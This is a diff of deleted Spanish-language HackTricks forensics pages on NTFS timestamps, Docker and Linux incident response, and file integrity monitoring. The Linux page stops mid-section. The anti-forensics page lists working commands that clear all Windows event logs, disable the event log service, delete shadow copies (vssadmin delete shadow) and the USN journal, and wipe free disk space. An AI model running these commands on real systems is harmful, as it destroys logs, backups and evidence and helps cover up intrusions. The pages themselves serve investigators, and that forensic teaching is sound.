../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
## Análisis de Malware
Esto **no es necesariamente el primer paso a realizar una vez que tienes la imagen**. Pero puedes usar estas técnicas de análisis de malware de forma independiente si tienes un archivo, una imagen de sistema de archivos, imagen de memoria, pcap... así que es bueno **tener en cuenta estas acciones**:
{{#ref}}
malware-analysis.md
{{#endref}}
## Inspección de una Imagen
Si se te proporciona una **imagen forense** de un dispositivo, puedes comenzar **a analizar las particiones, el sistema de archivos** utilizado y **recuperar** potencialmente **archivos interesantes** (incluso los eliminados). Aprende cómo en:
{{#ref}}
partitions-file-systems-carving/
{{#endref}}
Dependiendo de los sistemas operativos utilizados e incluso de la plataforma, se deben buscar diferentes artefactos interesantes:
{{#ref}}
windows-forensics/
{{#endref}}
{{#ref}}
linux-forensics.md
{{#endref}}
{{#ref}}
docker-forensics.md
{{#endref}}
## Inspección profunda de tipos de archivos específicos y Software
Si tienes un **archivo** muy **sospechoso**, entonces **dependiendo del tipo de archivo y del software** que lo creó, varios **trucos** pueden ser útiles.\
Lee la siguiente página para aprender algunos trucos interesantes:
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
Quiero hacer una mención especial a la página:
{{#ref}}
specific-software-file-type-tricks/browser-artifacts.md
{{#endref}}
## Inspección de Volcado de Memoria
{{#ref}}
memory-dump-analysis/
{{#endref}}
## Inspección de Pcap
{{#ref}}
pcap-inspection/
{{#endref}}
## **Técnicas Anti-Forenses**
Ten en cuenta el posible uso de técnicas anti-forenses:
{{#ref}}
anti-forensic-techniques.md
{{#endref}}
## Caza de Amenazas
{{#ref}}
file-integrity-monitoring.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

151
src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
View File

@ -1,151 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Timestamps
Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\
Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION`**y**`$FILE_NAME`.
Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB).
**Windows explorer** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**.
## TimeStomp - Herramienta anti-forense
Esta herramienta **modifica** la información de la marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividad** **sospechosa**.
## Usnjrnl
El **USN Journal** (Journal de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que rastrea los cambios en el volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios.
![](<../../images/image (449).png>)
La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se **realizaron algunos cambios** en el archivo.
## $LogFile
**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden usar para analizar este archivo e identificar cambios.
![](<../../images/image (450).png>)
Nuevamente, en la salida de la herramienta es posible ver que **se realizaron algunos cambios**.
Usando la misma herramienta es posible identificar **a qué hora se modificaron las marcas de tiempo**:
![](<../../images/image (451).png>)
- CTIME: Hora de creación del archivo
- ATIME: Hora de modificación del archivo
- MTIME: Modificación del registro MFT del archivo
- RTIME: Hora de acceso del archivo
## Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME`
Otra forma de identificar archivos modificados sospechosos sería comparar el tiempo en ambos atributos buscando **desajustes**.
## Nanosegundos
Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Entonces, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**.
## SetMace - Herramienta anti-forense
Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, desde Windows Vista, es necesario que un sistema operativo en vivo modifique esta información.
# Ocultación de datos
NFTS utiliza un clúster y el tamaño mínimo de información. Eso significa que si un archivo ocupa un clúster y medio, la **mitad restante nunca se va a utilizar** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de relleno**.
Hay herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se añadieron algunos datos:
![](<../../images/image (452).png>)
Entonces, es posible recuperar el espacio de relleno usando herramientas como FTK Imager. Tenga en cuenta que este tipo de herramienta puede guardar el contenido ofuscado o incluso cifrado.
# UsbKill
Esta es una herramienta que **apagará la computadora si se detecta algún cambio en los puertos USB**.\
Una forma de descubrir esto sería inspeccionar los procesos en ejecución y **revisar cada script de python en ejecución**.
# Distribuciones de Linux en vivo
Estas distribuciones se **ejecutan dentro de la memoria RAM**. La única forma de detectarlas es **en caso de que el sistema de archivos NTFS esté montado con permisos de escritura**. Si está montado solo con permisos de lectura, no será posible detectar la intrusión.
# Eliminación segura
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
# Configuración de Windows
Es posible deshabilitar varios métodos de registro de Windows para hacer que la investigación forense sea mucho más difícil.
## Deshabilitar marcas de tiempo - UserAssist
Esta es una clave de registro que mantiene las fechas y horas en que cada ejecutable fue ejecutado por el usuario.
Deshabilitar UserAssist requiere dos pasos:
1. Establecer dos claves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` y `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas a cero para señalar que queremos deshabilitar UserAssist.
2. Limpiar sus subárboles de registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
## Deshabilitar marcas de tiempo - Prefetch
Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de mejorar el rendimiento del sistema Windows. Sin embargo, esto también puede ser útil para prácticas forenses.
- Ejecutar `regedit`
- Seleccionar la ruta del archivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
- Hacer clic derecho en `EnablePrefetcher` y `EnableSuperfetch`
- Seleccionar Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0
- Reiniciar
## Deshabilitar marcas de tiempo - Última hora de acceso
Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT, el sistema toma el tiempo para **actualizar un campo de marca de tiempo en cada carpeta listada**, llamado la última hora de acceso. En un volumen NTFS muy utilizado, esto puede afectar el rendimiento.
1. Abra el Editor del Registro (Regedit.exe).
2. Navegue a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Busque `NtfsDisableLastAccessUpdate`. Si no existe, agregue este DWORD y establezca su valor en 1, lo que deshabilitará el proceso.
4. Cierre el Editor del Registro y reinicie el servidor.
## Eliminar historial de USB
Todas las **entradas de dispositivos USB** se almacenan en el Registro de Windows bajo la clave de registro **USBSTOR** que contiene subclaves que se crean cada vez que conecta un dispositivo USB a su PC o Laptop. Puede encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando esto** eliminará el historial de USB.\
También puede usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para asegurarse de que las ha eliminado (y para eliminarlas).
Otro archivo que guarda información sobre los USB es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debe ser eliminado.
## Deshabilitar copias de sombra
**Listar** copias de sombra con `vssadmin list shadowstorage`\
**Eliminarlas** ejecutando `vssadmin delete shadow`
También puede eliminarlas a través de la GUI siguiendo los pasos propuestos en [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Abra el programa Servicios escribiendo "services" en el cuadro de búsqueda de texto después de hacer clic en el botón de inicio de Windows.
2. En la lista, busque "Copia de Sombra de Volumen", selecciónelo y luego acceda a Propiedades haciendo clic derecho.
3. Elija Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirme el cambio haciendo clic en Aplicar y Aceptar.
También es posible modificar la configuración de qué archivos se van a copiar en la copia de sombra en el registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
## Sobrescribir archivos eliminados
- Puede usar una **herramienta de Windows**: `cipher /w:C` Esto indicará a cipher que elimine cualquier dato del espacio de disco no utilizado disponible dentro de la unidad C.
- También puede usar herramientas como [**Eraser**](https://eraser.heidi.ie)
## Eliminar registros de eventos de Windows
- Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Hacer clic derecho en cada categoría y seleccionar "Borrar registro"
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Deshabilitar registros de eventos de Windows
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
- Dentro de la sección de servicios, deshabilitar el servicio "Registro de Eventos de Windows"
- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl`
## Deshabilitar $UsnJrnl
- `fsutil usn deletejournal /d c:`
{{#include ../../banners/hacktricks-training.md}}

96
src/forensics/basic-forensic-methodology/docker-forensics.md
View File

@ -1,96 +0,0 @@
# Docker Forensics
{{#include ../../banners/hacktricks-training.md}}
## Modificación de contenedores
Hay sospechas de que algún contenedor de docker fue comprometido:
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
Puedes fácilmente **encontrar las modificaciones realizadas a este contenedor con respecto a la imagen** con:
```bash
docker diff wordpress
C /var
C /var/lib
C /var/lib/mysql
A /var/lib/mysql/ib_logfile0
A /var/lib/mysql/ib_logfile1
A /var/lib/mysql/ibdata1
A /var/lib/mysql/mysql
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
En el comando anterior, **C** significa **Cambiado** y **A,** **Añadido**.\
Si encuentras que algún archivo interesante como `/etc/shadow` fue modificado, puedes descargarlo del contenedor para verificar actividad maliciosa con:
```bash
docker cp wordpress:/etc/shadow.
```
También puedes **compararlo con el original** ejecutando un nuevo contenedor y extrayendo el archivo de él:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Si encuentras que **se añadió algún archivo sospechoso**, puedes acceder al contenedor y verificarlo:
```bash
docker exec -it wordpress bash
```
## Modificaciones de imágenes
Cuando se te proporciona una imagen de docker exportada (probablemente en formato `.tar`), puedes usar [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) para **extraer un resumen de las modificaciones**:
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
Luego, puedes **descomprimir** la imagen y **acceder a los blobs** para buscar archivos sospechosos que puedas haber encontrado en el historial de cambios:
```bash
tar -xf image.tar
```
### Análisis Básico
Puedes obtener **información básica** de la imagen ejecutando:
```bash
docker inspect <image>
```
También puedes obtener un resumen **histórico de cambios** con:
```bash
docker history --no-trunc <image>
```
También puedes generar un **dockerfile a partir de una imagen** con:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
Para encontrar archivos añadidos/modificados en imágenes de docker, también puedes usar la [**dive**](https://github.com/wagoodman/dive) (descárgalo de [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utilidad:
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1 ⨯
Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
Esto te permite **navegar a través de los diferentes blobs de imágenes de docker** y verificar qué archivos fueron modificados/agregados. **Rojo** significa agregado y **amarillo** significa modificado. Usa **tab** para moverte a la otra vista y **space** para colapsar/abrir carpetas.
Con die no podrás acceder al contenido de las diferentes etapas de la imagen. Para hacerlo, necesitarás **descomprimir cada capa y acceder a ella**.\
Puedes descomprimir todas las capas de una imagen desde el directorio donde se descomprimió la imagen ejecutando:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Credenciales de la memoria
Ten en cuenta que cuando ejecutas un contenedor de docker dentro de un host **puedes ver los procesos que se están ejecutando en el contenedor desde el host** simplemente ejecutando `ps -ef`.
Por lo tanto (como root) puedes **volcar la memoria de los procesos** desde el host y buscar **credenciales** [**como en el siguiente ejemplo**](../../linux-hardening/privilege-escalation/index.html#process-memory).
{{#include ../../banners/hacktricks-training.md}}

26
src/forensics/basic-forensic-methodology/file-integrity-monitoring.md
View File

@ -1,26 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Línea base
Una línea base consiste en tomar una instantánea de ciertas partes de un sistema para **compararla con un estado futuro para resaltar cambios**.
Por ejemplo, puedes calcular y almacenar el hash de cada archivo del sistema de archivos para poder averiguar qué archivos fueron modificados.\
Esto también se puede hacer con las cuentas de usuario creadas, procesos en ejecución, servicios en ejecución y cualquier otra cosa que no debería cambiar mucho, o en absoluto.
## Monitoreo de Integridad de Archivos
El Monitoreo de Integridad de Archivos (FIM) es una técnica de seguridad crítica que protege los entornos de TI y los datos al rastrear cambios en los archivos. Implica dos pasos clave:
1. **Comparación de Línea Base:** Establecer una línea base utilizando atributos de archivo o sumas de verificación criptográficas (como MD5 o SHA-2) para comparaciones futuras y detectar modificaciones.
2. **Notificación de Cambio en Tiempo Real:** Recibir alertas instantáneas cuando los archivos son accedidos o alterados, típicamente a través de extensiones del kernel del sistema operativo.
## Herramientas
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
## Referencias
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
{{#include ../../banners/hacktricks-training.md}}

370
src/forensics/basic-forensic-methodology/linux-forensics.md
View File

@ -1,370 +0,0 @@
# Linux Forensics
{{#include ../../banners/hacktricks-training.md}}
## Recolección Inicial de Información
### Información Básica
Primero que nada, se recomienda tener un **USB** con **binaries y bibliotecas bien conocidos** (puedes simplemente obtener ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib,_ y _/lib64_), luego monta el USB y modifica las variables de entorno para usar esos binaries:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar a **extraer información básica**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
ps -ef #Running processes
netstat -anp #Proccess and ports
lsof -V #Open files
netstat -rn; route #Routing table
df; mount #Free space and mounted devices
free #Meam and swap space
w #Who is connected
last -Faiwx #Logins
lsmod #What is loaded
cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
#### Información sospechosa
Mientras obtienes la información básica, debes verificar cosas extrañas como:
- **Los procesos de root** generalmente se ejecutan con PIDS bajos, así que si encuentras un proceso de root con un PID grande, puedes sospechar.
- Verifica los **inicios de sesión registrados** de usuarios sin un shell dentro de `/etc/passwd`.
- Verifica los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin un shell.
### Volcado de memoria
Para obtener la memoria del sistema en ejecución, se recomienda usar [**LiME**](https://github.com/504ensicsLabs/LiME).\
Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima.
> [!NOTE]
> Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella.
Así que, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\
En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) de github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, puedes simplemente **copiar el directorio** `/lib/modules/<kernel version>` a tu máquina, y luego **compilar** LiME usándolos:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME soporta 3 **formatos**:
- Raw (cada segmento concatenado)
- Padded (igual que raw, pero con ceros en los bits de la derecha)
- Lime (formato recomendado con metadatos)
LiME también se puede usar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444`
### Imagen de disco
#### Apagado
Primero que nada, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
Hay **2 maneras** de apagar el sistema, un **apagado normal** y un **apagado de "desenchufar"**. El primero permitirá que los **procesos se terminen como de costumbre** y que el **sistema de archivos** esté **sincronizado**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede conllevar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá ninguna oportunidad** de hacer algo al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando** **`sync`** en el sistema y desenchufa.
#### Tomando una imagen del disco
Es importante notar que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, necesitas asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Análisis previo de la imagen del disco
Imágenes de una imagen de disco sin más datos.
```bash
#Find out if it's a disk image using "file" command
file disk.img
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
#Check which type of disk image it's
img_stat -t evidence.img
raw
#You can list supported types with
img_stat -i list
Supported image format types:
raw (Single or split raw file (dd))
aff (Advanced Forensic Format)
afd (AFF Multiple File)
afm (AFF with external metadata)
afflib (All AFFLIB image formats (including beta ones))
ewf (Expert Witness Format (EnCase))
#Data of the image
fsstat -i raw -f ext4 disk.img
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name:
Volume ID: 162850f203fd75afab4f1e4736a7e776
Last Written at: 2020-02-06 06:22:48 (UTC)
Last Checked at: 2020-02-06 06:15:09 (UTC)
Last Mounted at: 2020-02-06 06:15:18 (UTC)
Unmounted properly
Last mounted on: /mnt/disk0
Source OS: Linux
[...]
#ls inside the image
fls -i raw -f ext4 disk.img
d/d 11: lost+found
d/d 12: Documents
d/d 8193: folder1
d/d 8194: folder2
V/V 65537: $OrphanFiles
#ls inside folder
fls -i raw -f ext4 disk.img 12
r/r 16: secret.txt
#cat file inside image
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
## Buscar Malware conocido
### Archivos del sistema modificados
Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos.
- **Sistemas basados en RedHat**: Use `rpm -Va` para una verificación completa.
- **Sistemas basados en Debian**: `dpkg --verify` para una verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema.
### Detectores de Malware/Rootkit
Lea la siguiente página para aprender sobre herramientas que pueden ser útiles para encontrar malware:
{{#ref}}
malware-analysis.md
{{#endref}}
## Buscar programas instalados
Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considere aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes.
- Para Debian, inspeccione _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica.
- Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados.
Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explore directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ y _**`/sbin`**_. Combine listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando su búsqueda de todos los programas instalados.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
cat /var/log/dpkg.log | grep installed
# RedHat RPM database query
rpm -qa --root=/mntpath/var/lib/rpm
# Listing directories for manual installations
ls /usr/sbin /usr/bin /bin /sbin
# Identifying non-package executables (Debian)
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
# Identifying non-package executables (RedHat)
find /sbin/ –exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
## Recuperar binarios en ejecución eliminados
Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Inspeccionar ubicaciones de inicio automático
### Tareas programadas
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
/var/spool/anacron \
/etc/cron* \
/etc/at* \
/etc/anacrontab \
/etc/incron.d/* \
/var/spool/incron/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
### Servicios
Rutas donde un malware podría instalarse como un servicio:
- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio.
- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones más antiguas de Linux.
- **/etc/init.d/**: Usado en ciertas versiones de Linux como Debian para almacenar scripts de inicio.
- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux.
- **/etc/systemd/system**: Un directorio para scripts del gestor de sistema y servicios.
- **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario.
- **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros.
- **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un escondite para malware dirigido a usuarios.
- **/lib/systemd/system/**: Archivos de unidad predeterminados a nivel de sistema proporcionados por paquetes instalados.
### Módulos del Kernel
Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen:
- **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución.
- **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos.
- **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos.
### Otras Ubicaciones de Autoinicio
Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware:
- **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario.
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema han comenzado, marcando el final de la transición a un entorno multiusuario.
## Examinar Registros
Los sistemas Linux rastrean las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen:
- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades a nivel de sistema.
- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos.
- Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes.
- **/var/log/boot.log**: Contiene mensajes de inicio del sistema.
- **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo, útil para rastrear servicios relacionados con el correo electrónico.
- **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias.
- **/var/log/dmesg**: Contiene mensajes del controlador de dispositivos.
- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de violaciones de seguridad.
- **/var/log/cron**: Registra ejecuciones de trabajos cron.
- **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano.
- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
- **/var/log/httpd/**: Contiene registros de errores y acceso de Apache HTTPD.
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL.
- **/var/log/xferlog**: Registra transferencias de archivos FTP.
- **/var/log/**: Siempre verifica si hay registros inesperados aquí.
> [!NOTE]
> Los registros del sistema Linux y los subsistemas de auditoría pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos los eliminan rutinariamente. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar brechas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación.
**Linux mantiene un historial de comandos para cada usuario**, almacenado en:
- \~/.bash_history
- \~/.zsh_history
- \~/.zsh_sessions/\*
- \~/.python_history
- \~/.\*\_history
Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuarios. Verifícalo en busca de inicios de sesión desconocidos o inesperados.
Verifica archivos que pueden otorgar privilegios adicionales:
- Revisa `/etc/sudoers` en busca de privilegios de usuario no anticipados que puedan haberse otorgado.
- Revisa `/etc/sudoers.d/` en busca de privilegios de usuario no anticipados que puedan haberse otorgado.
- Examina `/etc/groups` para identificar cualquier membresía o permisos de grupo inusuales.
- Examina `/etc/passwd` para identificar cualquier membresía o permisos de grupo inusuales.
Algunas aplicaciones también generan sus propios registros:
- **SSH**: Examina _\~/.ssh/authorized_keys_ y _\~/.ssh/known_hosts_ para conexiones remotas no autorizadas.
- **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome.
- **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas.
- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda.
- **Open Office**: Verifica el acceso reciente a documentos que puedan indicar archivos comprometidos.
- **FTP/SFTP**: Revisa los registros en _\~/.ftp_history_ o _\~/.sftp_history_ para transferencias de archivos que podrían no estar autorizadas.
- **MySQL**: Investiga _\~/.mysql_history_ para consultas de MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos.
- **Less**: Analiza _\~/.lesshst_ para el historial de uso, incluidos archivos vistos y comandos ejecutados.
- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en los repositorios.
### Registros USB
[**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB.
Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están dentro de esa lista).
### Instalación
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```
### Ejemplos
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
#Search for vid and/or pid
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Más ejemplos e información dentro del github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión
Examine el _**/etc/passwd**_, _**/etc/shadow**_ y **registros de seguridad** en busca de nombres inusuales o cuentas creadas y/o utilizadas en estrecha proximidad a eventos no autorizados conocidos. Además, verifique posibles ataques de fuerza bruta a sudo.\
Además, revise archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a los usuarios.\
Finalmente, busque cuentas con **sin contraseñas** o **contraseñas fácilmente adivinables**.
## Examinar el Sistema de Archivos
### Analizando Estructuras del Sistema de Archivos en la Investigación de Malware
